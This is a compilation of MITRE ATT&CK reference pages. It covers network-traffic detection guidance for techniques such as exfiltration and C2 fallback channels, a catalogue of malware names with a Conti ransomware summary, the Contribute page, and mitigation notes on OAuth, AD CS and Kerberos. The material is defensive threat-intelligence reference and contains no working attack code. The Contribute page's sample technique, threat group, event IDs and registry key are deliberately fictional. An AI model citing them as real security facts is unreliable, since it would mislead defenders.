received by abnormal or untrusted hosts. Enterprise T BITS Jobs Monitor for newly constructed network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account). Enterprise T Browser Extensions Monitor for newly constructed network connections that are sent or received by untrusted hosts. Enterprise T Build Image on Host Monitor for established network communications with anomalous IPs that have never been seen before in the environment that may indicate the download of malicious code. Enterprise T Data from Configuration Repository Monitor for newly constructed network connections that are sent or received by untrusted hosts or uncommon data flows. Consider analyzing packet contents to detect application layer protocols, leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g. unauthorized, gratuitous, or anomalous traffic patterns attempting to access configuration content) . SNMP (MIB Dump) Monitor for newly constructed network connections that are sent or received by untrusted hosts or uncommon data flows. Consider analyzing packet contents to detect application layer protocols, leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows(e.g. snmp traffic originating from unauthorized or untrusted hosts, signature detection for strings mapped to device configuration(s), and anomolies in snmp request(s)) . Network Device Configuration Dump Monitor for newly constructed network connections that are sent or received by untrusted hosts or uncommon data flows. Consider analyzing packet contents to detect application layer protocols, leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g. unauthorized, gratuitous, or anomalous traffic patterns attempting to access network configuration content) Enterprise T Data from Network Shared Drive Monitor for newly constructed network connections that may search network shares on computers they have compromised to find files of interest Enterprise T Data Transfer Size Limits Monitor for newly constructed network connections that are sent or received by untrusted hosts or uncommon data flows (e.g. unusual network communications or suspicious communications sending fixed size data packets at regular intervals as well as unusually long connection patterns). Consider analyzing packet contents to detect application layer protocols, leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, protocol port mismatch, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments (e.g. monitor anomalies in use of files that do not normally initiate network connections or unusual connections initiated Enterprise T Drive-by Compromise Monitor for newly constructed network connections to untrusted hosts that are used to send or receive data. ICS T Drive-by Compromise Monitor for newly constructed network connections to untrusted hosts that are used to send or receive data. Enterprise T Dynamic Resolution Monitor for newly constructed network connections that are sent or received by untrusted hosts. . Fast Flux DNS Monitor for newly constructed network connections that may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. Enterprise T Email Collection Monitor for newly constructed network connections that are sent or received by untrusted hosts. . Remote Email Collection Monitor for newly constructed network connections that are sent or received by untrusted hosts. Enterprise T Exfiltration Over Alternative Protocol Monitor for newly constructed network connections that are sent or received by untrusted hosts. . Exfiltration Over Symmetric Encrypted Non-C2 Protocol Monitor for newly constructed network connections that are sent or received by untrusted hosts. . Exfiltration Over Asymmetric Encrypted Non-C2 Protocol Monitor for newly constructed network connections that are sent or received by untrusted hosts. . Exfiltration Over Unencrypted Non-C2 Protocol Monitor for newly constructed network connections that are sent or received by untrusted hosts. Enterprise T Exfiltration Over C2 Channel Monitor for newly constructed network connections that are sent or received by untrusted hosts. Enterprise T Exfiltration Over Other Network Medium Monitor for newly constructed network connections that may attempt to exfiltrate data over a different network medium than the command and control channel. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. . Exfiltration Over Bluetooth Monitor for newly constructed network connections that may attempt to exfiltrate data over Bluetooth rather than the command and control channel. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Enterprise T Exfiltration Over Web Service Monitor for newly constructed network connections to web and cloud services associated with abnormal or non-browser processes. . Exfiltration to Cloud Storage Monitor for newly constructed network connections to cloud services associated with abnormal or non-browser processes. Enterprise T External Remote Services Monitor for newly constructed network connections that may use Valid Accounts to access and/or persist within a network using External Remote Services. Use of External Remote Services may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using External Remote Services. Enterprise T Fallback Channels Monitor for newly constructed network connections that may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds. Processes utilizing the network that do not normally have network communication or have never been seen before may be suspicious. Enterprise T Ingress Tool Transfer Monitor for newly constructed network connections that are sent or received by
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versions_v13_datasources_DS0029.txt
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Currently viewing ATT&CK v10.1 which was live between October 21, 2021 and April 24, 2022. Learn more about the versioning system or see the live site. SOFTWARE Overview 3PARA RAT 4H RAT ABK adbupd AdFind Adups ADVSTORESHELL Agent Smith Agent Tesla Agent.btz Allwinner Anchor Android/AdDisplay.Ashas Android/Chuli.A AndroidOS/MalLocker.B ANDROIDOS_ANSERVER.A AndroRAT Anubis AppleJeus AppleSeed Aria-body Arp Asacub ASPXSpy Astaroth at Attor AuditCred AutoIt backdoor Avaddon Avenger Azorult Babuk BabyShark BackConfig Backdoor.Oldrea BACKSPACE Bad Rabbit BADCALL BADFLICK BADNEWS BadPatch Bandook Bankshot Bazar BBK BBSRAT BendyBear BISCUIT Bisonal BitPaymer BITSAdmin BLACKCOFFEE BlackEnergy BlackMould BLINDINGCAN BloodHound BLUELIGHT Bonadan BONDUPDATER BoomBox BOOSTWRITE BOOTRASH BoxCaon BrainTest Brave Prince Bread Briba BS BUBBLEWRAP build_downer Bundlore BusyGasper Cachedump Cadelspy CALENDAR Calisto CallMe Cannon Carbanak Carberp Carbon CarbonSteal Cardinal RAT CARROTBALL CARROTBAT Catchamas Caterpillar WebShell CCBkdr Cerberus certutil Chaes Chaos Charger ChChes CHEMISTGAMES Cherry Picker China Chopper CHOPSTICK Circles Clop CloudDuke cmd Cobalt Strike Cobian RAT CoinTicker Comnie ComRAT Concipit Conficker ConnectWise Conti CookieMiner CORALDECK CORESHELL Corona Updates CosmicDuke CostaBricks CozyCar CrackMapExec Crimson CrossRAT Crutch Cryptoistic CSPY Downloader Cuba Dacls DarkComet Daserf DDKONG DealersChoice DEATHRANSOM DEFENSOR ID Dendroid Denis Derusbi Desert Scorpion Dipsind DOGCALL Dok Doki DoubleAgent down_new Downdelph DownPaper DressCode Dridex DroidJack DropBook Drovorub dsquery Dtrack DualToy Duqu DustySky Dvmap Dyre Ebury ECCENTRICBANDWAGON Ecipekac Egregor EKANS Elise ELMER Emissary Emotet Empire EnvyScout Epic esentutl eSurv EventBot EvilBunny EvilGrab EVILNUM Exaramel for Linux Exaramel for Windows Exobot Exodus Expand Explosive FakeM FakeSpy FALLCHILL FatDuke Felismus FELIXROOT Fgdump Final1stspy FinFisher FIVEHANDS Flame FLASHFLOOD FlawedAmmyy FlawedGrace FlexiSpy FLIPSIDE Forfiles FrameworkPOS FrozenCell FruitFly FTP FYAnti Fysbis Gazer GeminiDuke Get gh0st RAT Ginp GLOOXMAIL Gold Dragon Golden Cup GoldenEagle GoldenSpy GoldFinder GoldMax GolfSpy Gooligan Goopy GPlayed Grandoreiro GravityRAT GreyEnergy GRIFFON GrimAgent gsecdump GuLoader Gustuff H1N Hacking Team UEFI Rootkit HALFBAKED HAMMERTOSS Hancitor HAPPYWORK HARDRAIN Havij HAWKBALL hcdLoader HDoor HELLOKITTY Helminth HenBox Hi-Zor HiddenWasp HIDEDRV Hikit Hildegard HOMEFRY HOPLIGHT HotCroissant HTRAN HTTPBrowser httpclient HummingBad HummingWhale Hydraq HyperBro HyperStack IcedID ifconfig iKitten Imminent Monitor Impacket Industroyer InnaputRAT INSOMNIA InvisiMole Invoke-PSImage ipconfig IronNetInjector ISMInjector Ixeshe Janicab Javali JCry JHUHUGIT JPIN jRAT JSS Loader Judy KARAE Kasidet Kazuar Kerrdown Kessel KeyBoy Keydnap KEYMARBLE KeyRaider KGH_SPY KillDisk Kinsing Kivars Koadic Kobalos Komplex KOMPROGO KONNI Kwampirs LaZagne LightNeuron Linfo Linux Rabbit LiteDuke LockerGoga LoJax Lokibot LookBack LoudMiner LOWBALL Lslsass Lucifer Lurid Machete MacSpy MailSniper Mandrake Marcher MarkiRAT Matryoshka MazarBOT Maze MCMD MechaFlounder meek MegaCortex Melcoz MESSAGETAP Metamorfo Micropsia Mimikatz MimiPenguin Miner-C MiniDuke MirageFox Mis-Type Misdat Mivast MobileOrder MoleNet Monokle MoonWind More_eggs Mosquito MURKYTOP Naid NanHaiShu NanoCore NativeZone NavRAT NBTscan nbtstat NDiskMonitor Nebulae Nerex Net Net Crawler NETEAGLE netsh netstat NetTraveler Netwalker NETWIRE Ngrok Nidiran njRAT Nltest NOKKI NotCompatible NotPetya OBAD ObliqueRAT OceanSalt Octopus Okrum OLDBAIT OldBoot Olympic Destroyer OnionDuke OopsIE Orz OSInfo OSX/Shlayer OSX_OCEANLOTUS.D Out OwaAuth P.A.S. Webshell P2P ZeuS P8RAT Pallas Pasam Pass-The-Hash Toolkit Pay2Key Pegasus for Android Pegasus for iOS Penquin Peppy PHOREAL Pillowmint PinchDuke Ping PipeMon Pisloader PJApps PLAINTEE PLEAD PlugX pngdowner PoetRAT PoisonIvy PolyglotDuke Pony POORAIM PoshC POSHSPY Power Loader PowerDuke PowerShower POWERSOURCE PowerSploit PowerStallion POWERSTATS POWERTON POWRUNER Prikormka ProLock Proton Proxysvc PS PsExec Psylo Pteranodon PUNCHBUGGY PUNCHTRACK Pupy pwdump Pysa QakBot QUADAGENT QuasarRAT Ragnar Locker Raindrop RainyDay Ramsay RARSTONE RATANKBA RawDisk RawPOS RCSAndroid RDAT RDFSNIFFER Reaver Red Alert 2. RedDrop RedLeaves Reg RegDuke Regin Remcos Remexi RemoteCMD RemoteUtilities Remsec Responder Revenge RAT REvil RGDoor Rifdoor Riltok RIPTIDE Rising Sun RobbinHood ROCKBOOT RogueRobin ROKRAT Rotexy route Rover RTM Ruler RuMMS RunningRAT Ryuk S-Type Sakula SamSam schtasks SDBbot SDelete SeaDuke Seasalt SEASHARPEE ServHelper Seth-Locker ShadowPad Shamoon SharpStage SHARPSTATS ShiftyBug ShimRat ShimRatReporter SHIPSHAPE SHOTPUT SHUTTERSPEED Sibot SideTwist SilkBean Siloscape SimBad Skeleton Key Skidmap Skygofree Sliver SLOTHFULMEDIA SLOWDRIFT Smoke Loader SMOKEDHAM SNUGRIDE Socksbot SodaMaster SombRAT SoreFang SOUNDBITE SPACESHIP Spark SpeakUp SpicyOmelette spwebmember SpyDealer SpyNote RAT sqlmap SQLRat SslMM Starloader Stealth Mango StoneDrill StreamEx StrongPity Stuxnet SUNBURST SUNSPOT SUPERNOVA Sykipot SynAck SYNful Knock Sys SYSCON Systeminfo T Taidoor TAINTEDSCRIBE TajMahal Tangelo Tasklist TDTESS TEARDROP TERRACOTTA TEXTMATE ThiefQuest Tiktok Pro TINYTYPHON TinyZBot Tor Triada TrickBot TrickMo Trojan-SMS.AndroidOS.Agent.ao Trojan-SMS.AndroidOS.FakeInst.a Trojan-SMS.AndroidOS.OpFake.a Trojan.Karagany Trojan.Mebromi Truvasys TSCookie Turian TURNEDUP Twitoor TYPEFRAME UACMe UBoatRAT Umbreon Unknown Logger UPPERCUT Uroburos Ursnif USBferry USBStealer Valak VaporRage Vasport VBShower VERMIN ViceLeaker ViperRAT Volgmer WannaCry WastedLocker Waterbear WEBC WellMail WellMess Wevtutil Wiarp Windows Credential Editor WINDSHIELD WindTail WINERACK Winexe Wingbird WinMM Winnti for Linux Winnti for Windows Wiper WireLurker WolfRAT X-Agent for Android XAgentOSX Xbash Xbot xCaon xCmd XcodeGhost XCSSET XLoader for Android XLoader for iOS XTunnel YAHOYAH YiSpecter yty Zebrocy Zen ZergHelper Zeroaccess ZeroT Zeus Panda ZLib zwShell ZxShell SOFTWARE Overview 1- 3PARA RAT 4H RAT A-B ABK adbupd AdFind Adups ADVSTORESHELL Agent Smith Agent Tesla Agent.btz Allwinner Anchor Android/AdDisplay.Ashas Android/Chuli.A AndroidOS/MalLocker.B ANDROIDOS_ANSERVER.A AndroRAT Anubis AppleJeus AppleSeed Aria-body Arp Asacub ASPXSpy Astaroth at Attor AuditCred AutoIt backdoor Avaddon Avenger Azorult Babuk BabyShark BackConfig Backdoor.Oldrea BACKSPACE Bad Rabbit BADCALL BADFLICK BADNEWS BadPatch Bandook Bankshot Bazar BBK BBSRAT BendyBear BISCUIT Bisonal BitPaymer BITSAdmin BLACKCOFFEE BlackEnergy BlackMould BLINDINGCAN BloodHound BLUELIGHT Bonadan BONDUPDATER BoomBox BOOSTWRITE BOOTRASH BoxCaon BrainTest Brave Prince Bread Briba BS BUBBLEWRAP build_downer Bundlore BusyGasper C-D Cachedump Cadelspy CALENDAR Calisto CallMe Cannon Carbanak Carberp Carbon CarbonSteal Cardinal RAT CARROTBALL CARROTBAT Catchamas Caterpillar WebShell CCBkdr Cerberus certutil Chaes Chaos Charger ChChes CHEMISTGAMES Cherry Picker China Chopper CHOPSTICK Circles Clop CloudDuke cmd Cobalt Strike Cobian RAT CoinTicker Comnie ComRAT Concipit Conficker ConnectWise Conti CookieMiner CORALDECK CORESHELL Corona Updates CosmicDuke CostaBricks CozyCar CrackMapExec Crimson CrossRAT Crutch Cryptoistic CSPY Downloader Cuba Dacls DarkComet Daserf DDKONG DealersChoice DEATHRANSOM DEFENSOR ID Dendroid Denis Derusbi Desert Scorpion Dipsind DOGCALL Dok Doki DoubleAgent down_new Downdelph DownPaper DressCode Dridex DroidJack DropBook Drovorub dsquery Dtrack DualToy Duqu DustySky Dvmap Dyre E-F Ebury ECCENTRICBANDWAGON Ecipekac Egregor EKANS Elise ELMER Emissary Emotet Empire EnvyScout Epic esentutl eSurv EventBot EvilBunny EvilGrab EVILNUM Exaramel for Linux Exaramel for Windows Exobot Exodus Expand Explosive FakeM FakeSpy FALLCHILL FatDuke Felismus FELIXROOT Fgdump Final1stspy FinFisher FIVEHANDS Flame FLASHFLOOD FlawedAmmyy FlawedGrace FlexiSpy FLIPSIDE Forfiles FrameworkPOS FrozenCell FruitFly FTP FYAnti Fysbis G-H Gazer GeminiDuke Get gh0st RAT Ginp GLOOXMAIL Gold Dragon Golden Cup GoldenEagle GoldenSpy GoldFinder GoldMax GolfSpy Gooligan Goopy GPlayed Grandoreiro GravityRAT GreyEnergy GRIFFON GrimAgent gsecdump GuLoader Gustuff H1N Hacking Team UEFI Rootkit HALFBAKED HAMMERTOSS Hancitor HAPPYWORK HARDRAIN Havij HAWKBALL hcdLoader HDoor HELLOKITTY Helminth HenBox Hi-Zor HiddenWasp HIDEDRV Hikit Hildegard HOMEFRY HOPLIGHT HotCroissant HTRAN HTTPBrowser httpclient HummingBad HummingWhale Hydraq HyperBro HyperStack I-J IcedID ifconfig iKitten Imminent Monitor Impacket Industroyer InnaputRAT INSOMNIA InvisiMole Invoke-PSImage ipconfig IronNetInjector ISMInjector Ixeshe Janicab Javali JCry JHUHUGIT JPIN jRAT JSS Loader Judy K-L KARAE Kasidet Kazuar Kerrdown Kessel KeyBoy Keydnap KEYMARBLE KeyRaider KGH_SPY KillDisk Kinsing Kivars Koadic Kobalos Komplex KOMPROGO KONNI Kwampirs LaZagne LightNeuron Linfo Linux Rabbit LiteDuke LockerGoga LoJax Lokibot LookBack LoudMiner LOWBALL Lslsass Lucifer Lurid M-N Machete MacSpy MailSniper Mandrake Marcher MarkiRAT Matryoshka MazarBOT Maze MCMD MechaFlounder meek MegaCortex Melcoz MESSAGETAP Metamorfo Micropsia Mimikatz MimiPenguin Miner-C MiniDuke MirageFox Mis-Type Misdat Mivast MobileOrder MoleNet Monokle MoonWind More_eggs Mosquito MURKYTOP Naid NanHaiShu NanoCore NativeZone NavRAT NBTscan nbtstat NDiskMonitor Nebulae Nerex Net Net Crawler NETEAGLE netsh netstat NetTraveler Netwalker NETWIRE Ngrok Nidiran njRAT Nltest NOKKI NotCompatible NotPetya O-P OBAD ObliqueRAT OceanSalt Octopus Okrum OLDBAIT OldBoot Olympic Destroyer OnionDuke OopsIE Orz OSInfo OSX/Shlayer OSX_OCEANLOTUS.D Out OwaAuth P.A.S. Webshell P2P ZeuS P8RAT Pallas Pasam Pass-The-Hash Toolkit Pay2Key Pegasus for Android Pegasus for iOS Penquin Peppy PHOREAL Pillowmint PinchDuke Ping PipeMon Pisloader PJApps PLAINTEE PLEAD PlugX pngdowner PoetRAT PoisonIvy PolyglotDuke Pony POORAIM PoshC POSHSPY Power Loader PowerDuke PowerShower POWERSOURCE PowerSploit PowerStallion POWERSTATS POWERTON POWRUNER Prikormka ProLock Proton Proxysvc PS PsExec Psylo Pteranodon PUNCHBUGGY PUNCHTRACK Pupy pwdump Pysa Q-R QakBot QUADAGENT QuasarRAT Ragnar Locker Raindrop RainyDay Ramsay RARSTONE RATANKBA RawDisk RawPOS RCSAndroid RDAT RDFSNIFFER Reaver Red Alert 2. RedDrop RedLeaves Reg RegDuke Regin Remcos Remexi RemoteCMD RemoteUtilities Remsec Responder Revenge RAT REvil RGDoor Rifdoor Riltok RIPTIDE Rising Sun RobbinHood ROCKBOOT RogueRobin ROKRAT Rotexy route Rover RTM Ruler RuMMS RunningRAT Ryuk S-T S-Type Sakula SamSam schtasks SDBbot SDelete SeaDuke Seasalt SEASHARPEE ServHelper Seth-Locker ShadowPad Shamoon SharpStage SHARPSTATS ShiftyBug ShimRat ShimRatReporter SHIPSHAPE SHOTPUT SHUTTERSPEED Sibot SideTwist SilkBean Siloscape SimBad Skeleton Key Skidmap Skygofree Sliver SLOTHFULMEDIA SLOWDRIFT Smoke Loader SMOKEDHAM SNUGRIDE Socksbot SodaMaster SombRAT SoreFang SOUNDBITE SPACESHIP Spark SpeakUp SpicyOmelette spwebmember SpyDealer SpyNote RAT sqlmap SQLRat SslMM Starloader Stealth Mango StoneDrill StreamEx StrongPity Stuxnet SUNBURST SUNSPOT SUPERNOVA Sykipot SynAck SYNful Knock Sys SYSCON Systeminfo T Taidoor TAINTEDSCRIBE TajMahal Tangelo Tasklist TDTESS TEARDROP TERRACOTTA TEXTMATE ThiefQuest Tiktok Pro TINYTYPHON TinyZBot Tor Triada TrickBot TrickMo Trojan-SMS.AndroidOS.Agent.ao Trojan-SMS.AndroidOS.FakeInst.a Trojan-SMS.AndroidOS.OpFake.a Trojan.Karagany Trojan.Mebromi Truvasys TSCookie Turian TURNEDUP Twitoor TYPEFRAME U-V UACMe UBoatRAT Umbreon Unknown Logger UPPERCUT Uroburos Ursnif USBferry USBStealer Valak VaporRage Vasport VBShower VERMIN ViceLeaker ViperRAT Volgmer W-X WannaCry WastedLocker Waterbear WEBC WellMail WellMess Wevtutil Wiarp Windows Credential Editor WINDSHIELD WindTail WINERACK Winexe Wingbird WinMM Winnti for Linux Winnti for Windows Wiper WireLurker WolfRAT X-Agent for Android XAgentOSX Xbash Xbot xCaon xCmd XcodeGhost XCSSET XLoader for Android XLoader for iOS XTunnel Y-Z YAHOYAH YiSpecter yty Zebrocy Zen ZergHelper Zeroaccess ZeroT Zeus Panda ZLib zwShell ZxShell - Home - Software - Conti Conti Conti is a Ransomware-as-a-Service that was first observed in December 2019, and has being distributed via TrickBot. It has been used against major corporations and government agencies, particularly those in North America. As with other ransomware families, actors using Conti steal sensitive files and information from compromised networks, and threaten to publish this data unless the ransom is paid.[1][2][3] ID: S ⓘ Type: MALWARE ⓘ Platforms: Windows Contributors: Daniyal Naeem, BT Security Version: 1. Created: 17 February Last Modified: 21 June
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versions_v10_software_S0575.txt
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ATT&CKcon 6.0 is coming October 14-15 in McLean, VA and live online. To potentially join us on stage, submit to our CFP by July 9th - Home - Resources - Engage with ATT&CK - Contribute Contribute ATT&CK is in a constant state of development. We are always on the lookout for new information to help refine and extend what is covered. If you have additional techniques, know about variations on one already covered, have examples of techniques in use, or have other relevant information, then we would like to hear from you. We are looking for contributions in the following areas, but all contributions and feedback to ATT&CK are appreciated. If you have other information you think may be useful, please reach us at attack@mitre.org. Due to the high volume of contributions, it may take us about a week to get back to you. We recommend you read our philosophy paper to understand our approach to maintaining ATT&CK so that we get the right details up front. Content updates happen roughly every 6 months. Submit a contribution What we're looking for Sub-Techniques and Techniques Let us know what new variations of behaviors real adversaries are using in the wild! Please share a brief description of the behavior, any references or knowledge about how it works and was used, and how this behavior is not already captured in ATT&CK. To understand the process of how the MITRE team develops techniques, refer to the video below. See an example Video Threat Intelligence We map Group and Software examples on our site, and appreciate your help with referenced information about how Groups and Software samples use ATT&CK techniques. Please share the sub-technique or technique name, group or associated group name, a brief description of how the technique is implemented, and the publicly-available reference. See an example Website Content Errors If you find errors or typos on the site related to content, please let us know by submitting the url where you found the error and a short description. Examples include typos and syntax errors, improperly formatted web pages, and 404 errors when links are clicked. See an example New Technique Example × (Sub-)Technique Name: COM, ROM, & BE GONE Tactic: Persistence Platform: Windows Required Permissions: User Sub-techniques: This is a sub-technique of T1XXX, or this would have T1XXX as a sub-technique Data Sources: Windows API, Process monitoring, or other sources that can be used to detect this activity Description: Component Object Model (COM) servers associated with Graphics Interchange Format (JIF) image viewers can be abused to corrupt arbitrary memory banks. Adversaries may leverage this opportunity to modify, mux, and maliciously annoy (MMA) read-only memory (ROM) regularly accessed during normal system operations. Detection: Monitor the JIF viewers for muxing and malicious annoyance. Use event ID 423420 and 234222 to detect changes. Mitigation: Configure the Registry key HKLM\SYSTEM\ControlSet\001\Control\WindowsJIFControl\ to 0 to disable MMA access if not needed within the environment. Adversary Use: Here is a publicly-available reference about FUZZYSNUGGLYDUCK using this technique: (www[.]awesomeThreatReports[.]org/FUZZYSNUGGLYDUCK_NOMS _ON_ROM_VIA_COM). Additionally, our red team uses this in our operations. Additional References: Here is a reference from the researcher who discovered this technique: (www[.]crazySmartResearcher[.]net/POC_DETECTIONS_&_MITIGATIONS_4_WHEN_COM_RAMS_ROM) Email Group & Software Example × Group Name: FUZZYSNUGGLYDUCK (www[.]sourceX[.]com) Associated Groups: APT1337 (www[.]sourceY[.]com) Description: FUZZYSNUGGLYDUCK is a Great Lakes-based threat group that has been active since at least May 2018. The group focuses on targeting the aviation sector. (www[.]sourceY[.]com) Techniques: - Phishing: Spearphishing Attachment (T1566.001) – FUZZYSNUGGLYDUCK has used spearphishing email attachments containing images of stale bread to deliver malware. (www[.]sourceX[.]com) - File and Directory Discovery (T1083) – FUZZYSNUGGLYDUCK has searched files and directories for the string *quack*. (www[.]sourceY[.]com) Software Name: FLYINGV (www[.]sourceX[.]com) (wwwVsourceZ[.]com) Group Association: FLYINGV has been used by FUZZYSNUGGLYDUCK. (www[.]sourceZ[.]com) Description: FLYINGV is custom malware used by FUZZYSNUGGLYDUCK as a second-stage RAT. (www[.]sourceZ[.]com) Platform: Windows Techniques: - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001) – FLYINGV has added the Registry Run key “HueyDeweyLouie” to establish persistence. (www[.]sourceX[.]com) - File and Directory Discovery (T1083) – FLYINGV has used rundll32.exe to load its malicious dll file, estevez.dll. (www[.]sourceX[.]com) Email Website Content Error × URL of error: attack.mitre.org/resources/contribute Description of error: link to the philosophy paper is broken Email Contributors The following individuals or organizations have contributed information regarding the existence of a technique, details on how to detect and/or mitigate use of a technique, or threat intelligence on adversary use: - @_montysecurity - @grahamhelton - @ionstorm - Aagam Shah, @neutrinoguy, ABB - Aaron Jornet - Aaron Sullivan aka ZerkerEOD - Abel Morales, Exabeam - Abhijit Mohanta, @abhijit_mohanta, Uptycs - Achute Sharma, Keysight - Adam Lichters - Adam Mashinchi - Adrien Bataille - Ai Kimura, NEC Corporation - Akiko To, NEC Corporation - Akshat Pradhan, Qualys - Alain Homewood - Alain Homewood, Insomnia Security - Alan Neville, @abnev - Alden Schmidt - Ale Houspanossian - Alex Hinchliffe, Palo Alto Networks - Alex Parsons, Crowdstrike - Alex Soler, AttackIQ - Alex Spivakovsky, Pentera - Alexandros Pappas - Alexey Kleymenov - Alfredo Abarca - Alfredo Oliveira, Trend Micro - Allen DeRyke, ICE - Alon Klayman, Hunters Security - Ami Holeston, CrowdStrike - Amir Gharib, Microsoft Threat Intelligence - Amnon Kushnir, Sygnia - Anastasios Pingios - Anders Vejlby - Andrea Serrano Urea, Telefónica Tech - Andrew Allen, @whitehat_zero - Andrew Northern, @ex_raritas - Andrew Smith, @jakx_ - Antonio Piazza, @antman1p - Antonio Villani, @LDO_CyberSec, Leonardo's Cyber Security Division - AppOmni - Arad Inbar, Fidelis Security - Arie Olshtein, Check Point - Ariel Shuper, Cisco - Arnim Rupp, Deutsche Lufthansa AG - Arun Seelagan, CISA - Asritha Narina - Assaf Morag, @MoragAssaf, Team Nautilus Aqua Security - Atul Nair, Qualys - Aung Kyaw Min Naing, @Nolan - Austin Clark, @c2defense - Austin Herrin - Aviran Hazum, Check Point - Avneet Singh - Awake Security - Ayan Saha, Keysight - Barbara Louis-Sidney (OWN-CERT) - Barry Shteiman, Exabeam - Bartosz Jerzman - Ben Smith, @cyberg3cko - Bencherchali Nasreddine, @nas_bench, ELIT Security Team (DSSD) - Bernaldo Penas Antelo - Bilal Bahadır Yenici - Blake Strom, Microsoft 365 Defender - Blake Strom, Microsoft Threat Intelligence - Bobby, Filar, Elastic - Boominathan Sundaram - Brad Geesaman, @bradgeesaman - Brandon Dalton @PartyD0lphin - Brent Murphy, Elastic - Brian Donohue - Brian Wiltse @evalstrings - Bryan Campbell, @bry_campbell - Bryan Lee - Bryan Onel - Caio Silva - Carlos Borges, @huntingneo, CIP - Carrie Roberts, @OrOneEqualsOne - Casey Smith - Catherine Williams, BT Security - Center for Threat-Informed Defense (CTID) - Centre for Cybersecurity Belgium (CCB) - Chen Erlich, @chen_erlich, enSilo - Chris Heald - Chris Roffe - Chris Romano, Crowdstrike - Chris Ross @xorrior - Christiaan Beek, @ChristiaanBeek - Christoffer Strömblad - Christopher Glyer, Mandiant, @cglyer - Christopher Peacock - Cian Heasley - Cisco - Clément Notin, Tenable - Cody Thomas, SpecterOps - Conrad Layne - GE Digital - Craig Aitchison - Craig Smith, BT Security - Cris Tomboc, Truswave SpiderLabs - Cristian Souza - Kaspersky GERT - Cristóbal Martínez Martín - CrowdStrike - CrowdStrike Falcon OverWatch - Csaba Fitzl @theevilbit of Kandji - Cybereason Nocturnus, @nocturnus - Daisuke Suzuki - Dan Borges, @1njection - Dan Nutting, @KerberToast - Daniel Acevedo, @darmad0, ARMADO - Daniel Acevedo, ARMADO - Daniel Feichter, @VirtualAllocEx, Infosec Tirol - Daniel Fernando Soriano Espinosa - Daniel Oakley - Daniel Prizmant, Palo Alto Networks - Daniel Stepanic, Elastic - Daniil Yugoslavskiy, @yugoslavskiy, Atomic Threat Coverage project - Daniyal Naeem, BT Security - Darin Smith, Cisco - Darren Spruell - Dave Westgard - David Ferguson, CyberSponse - David Fiser, @anu4is, Trend Micro - David French, Elastic - David Galazin @themalwareman - David Hughes, BT Security - David Lu, Tripwire - David Routin - David Tayouri - Debabrata Sharma - DeFord L. Smith - Deloitte Threat Library Team - Denise Tan - Dhiraj Mishra (@RandomDhiraj) - Diego Sappa, Securonix - Diogo Fernandes - Diyar Saadi Ali - Dmitry Bestuzhev - Domenico Mazzaferro Palmeri - Dongwook Kim, KISA - Dor Edry, Microsoft - Doron Karmi, @DoronKarmi - Douglas Weir - Dragos Threat Intelligence - Dray Agha, @Purp1eW0lf, Huntress Labs - Drew Church, Splunk - Dror Alon, Palo Alto Networks - Duane Michael - Dvir Sasson, Reco - Dylan Silva, AWS Security - Ed Williams, Trustwave, SpiderLabs - Eder Pérez Ignacio, @ch4ik - Eduardo Chavarro Ovalle - Eduardo González Hernández (@codexlynx) - Edward Millington - Edward Stevens, BT Security - Elastic - Elger Vinicius S. Rodrigues, @elgervinicius, CYBINT Centre - Eli Salem, @elisalem - Elia Florio, Microsoft - Eliav Livneh - Eliraz Levi, Hunters - Eliraz Levi, Hunters Security - Elly Searle, CrowdStrike — contributed to tactic definitions - Elpidoforos Maragkos, @emaragkos - Elvis Veliz, Citi - Emad Al-Mousa, Saudi Aramco - Emile Kenning, Sophos - Emily Ratliff, IBM - ENDGAME - Eran Ayalon, Cybereason - Eric Kaiser @ideologysec - Eric Kuehn, Secure Ideas - Erik Schamper, @Schamperr, Fox-IT - Erika Noerenberg, @gutterchurl, Carbon Black - Erye Hernandez, Palo Alto Networks - ESET - Expel - ExtraHop - Fabian Kammel - Felipe Espósito, @Pr0teus - Felix Eberstaller - Fernando Bacchin - Filip Kafka, ESET - FIRST.ORG's Cyber Threat Intelligence SIG - Flávio Costa, @Segurança Descomplicada - Ford Qin, Trend Micro - Francesco Bigarella - Frank Angiolelli - FS-ISAC - Furkan Celik, PURE - Gabriel Currie - Gaetan van Diemen, ThreatFabric - Gal Singer, @galsinger29, Team Nautilus Aqua Security -
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resources_engage-with-attack_contribute.txt
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changes have been made. . Transport Agent Regularly check component software on critical services that adversaries may target for persistence to verify the integrity of the systems and identify if unexpected changes have been made. . IIS Components Regularly check installed IIS components to verify the integrity of the web server and identify if unexpected changes have been made. . Terminal Services DLL Regularly check component software on critical services that adversaries may target for persistence to verify the integrity of the systems and identify if unexpected changes have been made. Enterprise T Steal Application Access Token Administrators should audit all cloud and container accounts to ensure that they are necessary and that the permissions granted to them are appropriate. Additionally, administrators should perform an audit of all OAuth applications and the permissions they have been granted to access organizational data. This should be done extensively on all applications in order to establish a baseline, followed up on with periodic audits of new or updated applications. Suspicious applications should be investigated and removed. Enterprise T Steal or Forge Authentication Certificates Check and remediate unneeded existing authentication certificates as well as common abusable misconfigurations of CA settings and permissions, such as AD CS certificate enrollment permissions and published overly permissive certificate templates (which define available settings for created certificates). For example, available AD CS certificate templates can be checked via the Certificate Authority MMC snap-in (certsrv.msc). certutil.exe can also be used to examine various information within an AD CS CA database.[23][24][25] Enterprise T . Steal or Forge Kerberos Tickets: AS-REP Roasting Kerberos preauthentication is enabled by default. Older protocols might not support preauthentication therefore it is possible to have this setting disabled. Make sure that all accounts have preauthentication whenever possible and audit changes to setting. Windows tools such as PowerShell may be used to easily find which accounts have preauthentication 